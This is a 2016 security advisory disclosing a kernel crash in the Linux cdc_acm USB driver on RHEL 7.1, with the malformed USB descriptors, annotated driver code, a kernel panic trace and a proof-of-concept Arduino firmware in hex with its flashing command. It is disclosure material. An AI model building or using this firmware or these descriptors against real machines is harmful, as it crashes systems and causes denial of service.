OS-S Security Advisory 2016-06
Linux cdc_acm Nullpointer Dereference 

Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS:  4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid 
USB device descriptors (cdc_acm driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the 
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of Advisory: https://os-s.net/advisories/OSS-2016-06_cdc_acm.pdf


Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB 
device requiring the cdc_acm driver.

Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes. 

Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo 
(github.com/schumilo) using the following device descriptor:

[*] Device-Descriptor
  bLength:      0x12
    bDescriptorType:    0x1
    bcdUSB:      0x200
    bDeviceClass:      0x3
    bDeviceSubClass:    0x0
    bDeviceProtocol:    0x0
    bMaxPacketSize:    0x40
    idVendor:      0x482
    idProduct:      0x203
    bcdDevice:      0x100
    iManufacturer:      0x1
    iProduct:      0x2
    iSerialNumbers:      0x3
    bNumConfigurations:    0x1


This is the configuration descriptor containing only one interface descriptor.
The cdc-acm driver assumes that there will be at least two interface-
descriptors with associated endpoint-descriptors. 
Since the cdc-acm driver is expecting a second interface descriptor, the 
driver tries to dereference a null-pointer.
This results in a crash of the system.





****
$ nm cdc-acm.ko.debug | grep acm_probe
0000000000001530 t acm_probe
$ addr2line -e cdc-acm.ko.debug 0x179C
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/usb/class/cdc-
acm.c:1229
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/class/cdc-acm.c)
        ...
1093  /* handle quirks deadly to normal probing*/
1094  if (quirks == NO_UNION_NORMAL) {
1095    data_interface = usb_ifnum_to_if(usb_dev, 1);  /* possible null-
pointer */
1096    control_interface = usb_ifnum_to_if(usb_dev, 0);
1097    goto skip_normal_probe;
1098  }
        ...
1226 skip_normal_probe:
1227
1228  /*workaround for switched interfaces */
1229  if (data_interface->cur_altsetting->desc.bInterfaceClass /* null-
pointer dereference */
1230            != CDC_DATA_INTERFACE_TYPE) {
1231    if (control_interface->cur_altsetting->desc.bInterfaceC
        ...
****


    [*] Configuration-Descriptor
      bLength:      0x9
      bDescriptorType:    0x2
      wTotalLength:      0x27
      bNumInterfaces:    0x1
      bConfigurationValue:    0x1
      iConfiguration:      0x0
      bmAttributes:      0x0
      bMaxPower:      0x31
      [*] Interface-Descriptor
        bLength:      0x9
        bDescriptorType:    0x4
        bInterfaceNumber:    0x0
        bAlternateSetting:    0x0
        bNumEndpoints:    0x0
        bInterfaceClass:      0x0
        bInterfaceSubClass:    0x0
        bInterfaceProtocol:    0x0
        [*] Endpoint-Descriptor:
          bLength:      0x7
          bDescriptorType:    0x5
          bEndpointAddress:    0x81
          bmAttribut:      0x3
          wMaxPacketSize:    0x404
          bInterval:      0xc
        [*] Endpoint-Descriptor:
          bLength:      0x7
          bDescriptorType:    0x5
          bEndpointAddress:    0x1
          bmAttribut:      0x2
          wMaxPacketSize:    0x4
          bInterval:      0xc
        [*] Endpoint-Descriptor:
          bLength:      0x7
          bDescriptorType:    0x5
          bEndpointAddress:    0x82
          bmAttribut:      0x1
          wMaxPacketSize:    0x4
          bInterval:      0xc

Proof of Concept:
For a proof of concept, we are providing an Arduino Leonardo firmware file. This 
firmware will emulate the defective USB device.


avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U 
flash:w:binary.hex


The firmware has been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to 
connect port D3 and 3V3!

Severity and Ease of Exploitation:
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, 
only physical access to the system is required.

Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
To this day, no security patch was provided by the vendor.
Since our 90-day Responsible Discourse deadline is expired, we publish this 
Security Advisory. 

References:
https://bugzilla.redhat.com/show_bug.cgi?id=1283366


Kernel Stacktrace:


[   32.550821] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[   32.765575] usb 1-1: New USB device found, idVendor=0482, idProduct=0203
[   32.775042] usb 1-1: New USB device strings: Mfr=1, Product=2, 
SerialNumber=3
[   32.780788] usb 1-1: Product: ĉ
[   32.783389] usb 1-1: Manufacturer: ĉ
[   32.786534] usb 1-1: SerialNumber: %
[   32.794914] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc 
says 96 microframes
[   32.850587] BUG: unable to handle kernel NULL pointer dereference at 
0000000000000008
[   32.851028] IP: [<ffffffffa039479c>] acm_probe+0x26c/0x11d0 [cdc_acm]
[   32.851028] PGD 0 
[   32.851028] Oops: 0000 [#1] SMP 
[   32.851028] Modules linked in: cdc_acm(+) ip6t_rpfilter ip6t_REJECT 
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc 
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter 
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat 
nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter 
ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper 
drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c 
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix 
libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod
[   32.851028] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 
3.10.0-229.14.1.el7.x86_64 #1
[   32.851028] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[   32.851028] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[   32.851028] RIP: 0010:[<ffffffffa039479c>]  [<ffffffffa039479c>] 
acm_probe+0x26c/0x11d0 [cdc_acm]
[   32.851028] RSP: 0018:ffff88000bd23b40  EFLAGS: 00010246
[   32.851028] RAX: ffff88000c525800 RBX: 0000000000000000 RCX: ffff88000bd23fd8
[   32.851028] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff88000c524c00
[   32.851028] RBP: ffff88000bd23bd8 R08: 0000000000000001 R09: 0000000000000000
[   32.851028] R10: 0000000000002cad R11: ffffffff810020d8 R12: ffff88000c525800
[   32.851028] R13: ffff88000f508692 R14: 0000000000000001 R15: ffff88000bcd0000
[   32.851028] FS:  00007fb8082b4880(0000) GS:ffff88000fc00000(0000) 
knlGS:0000000000000000
[   32.851028] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[   32.851028] CR2: 0000000000000008 CR3: 000000000cb87000 CR4: 
00000000000006f0
[   32.851028] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 
0000000000000000
[   32.851028] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[   32.851028] Stack:
[   32.851028]  ffff88000bd23ba8 ffff88000d6b3690 ffff88000bd23ba8 00000000436261cb
[   32.851028]  ffff88000bcd0090 0000000000000004 ffff88000bcd0090 
0000000000000202
[   32.851028]  0000001000000001 0000000000000200 0000000000000000 
ffff88000bd23bd8
[   32.851028] Call Trace:
[   32.851028]  [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[   32.851028]  [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[   32.851028]  [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[   32.851028]  [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[   32.851028]  [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[   32.851028]  [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[   32.851028]  [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0
[   32.851028]  [<ffffffff813d3b34>] driver_register+0x64/0xf0
[   32.851028]  [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160
[   32.851028]  [<ffffffffa039d000>] ? 0xffffffffa039cfff
[   32.851028]  [<ffffffffa039d0ba>] acm_init+0xba/0x1000 [cdc_acm]
[   32.851028]  [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[   32.851028]  [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[   32.851028]  [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[   32.851028]  [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[   32.851028]  [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[   32.851028]  [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[   32.851028] Code: 5f 5d c3 0f 1f 40 00 48 83 7d d0 00 74 d4 44 39 6d c0 74 
0d f6 05 66 4e 00 00 04 0f 85 0f 0e 00 00 48 39 5d d0 0f 84 ea 06 00 00 <48> 
8b 43 08 80 78 05 0a 0f 84 fe 00 00 00 48 8b 45 d0 48 8b 40 
[   32.851028] RIP  [<ffffffffa039479c>] acm_probe+0x26c/0x11d0 [cdc_acm]
[   32.851028]  RSP <ffff88000bd23b40>
[   32.851028] CR2: 0000000000000008
[   33.230701] ---[ end trace b239663354a1c556 ]---
[   33.237071] Kernel panic - not syncing: Fatal exception
[   33.238044] drm_kms_helper: panic occurred, switching back to text console



Arduino Leonardo Firmware:

:100000000C94A8000C94C5000C94C5000C94C50079
:100010000C94C5000C94C5000C94C5000C94C5004C
:100020000C94C5000C94C5000C94C4050C942F04CA
:100030000C94C5000C94C5000C94C5000C94C5002C
:100040000C94C5000C94C5000C94C5000C94C5001C
:100050000C94C5000C94C5000C94C5000C940E02C1
:100060000C94C5000C94C5000C94C5000C94C500FC
:100070000C94C5000C94C5000C94C5000C94C500EC
:100080000C94C5000C94C5000C94C5000C94C500DC
:100090000C94C5000C94C5000C94C5000C94C500CC
:1000A0000C94C5000C94C5000C94C5000B030E0302
:1000B000010305032F032F032F03120316031A0353
:1000C000200324032F032A030000000200080E006F
:1000D00000030401000B000000000000000000000D
:1000E00000000000000004080201104080401020C1
:1000F00040804080080204018040201002011080EE
:100100001020404004040404040304050202020217
:1001100004030202020206060606060604040202A0
:100120000204000000002300260029002C002F00FC
:1001300000000000250028002B002E0031000000E8
:100140000000240027002A002D00300000C180811B
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
:10016000B1E0E4EDF3E102C005900D92A436B107D1
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:1001B00083E00E94300361E087E00E94300361E049
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:100A4000B91F4D915C910284F385E02DE80FF91FE9
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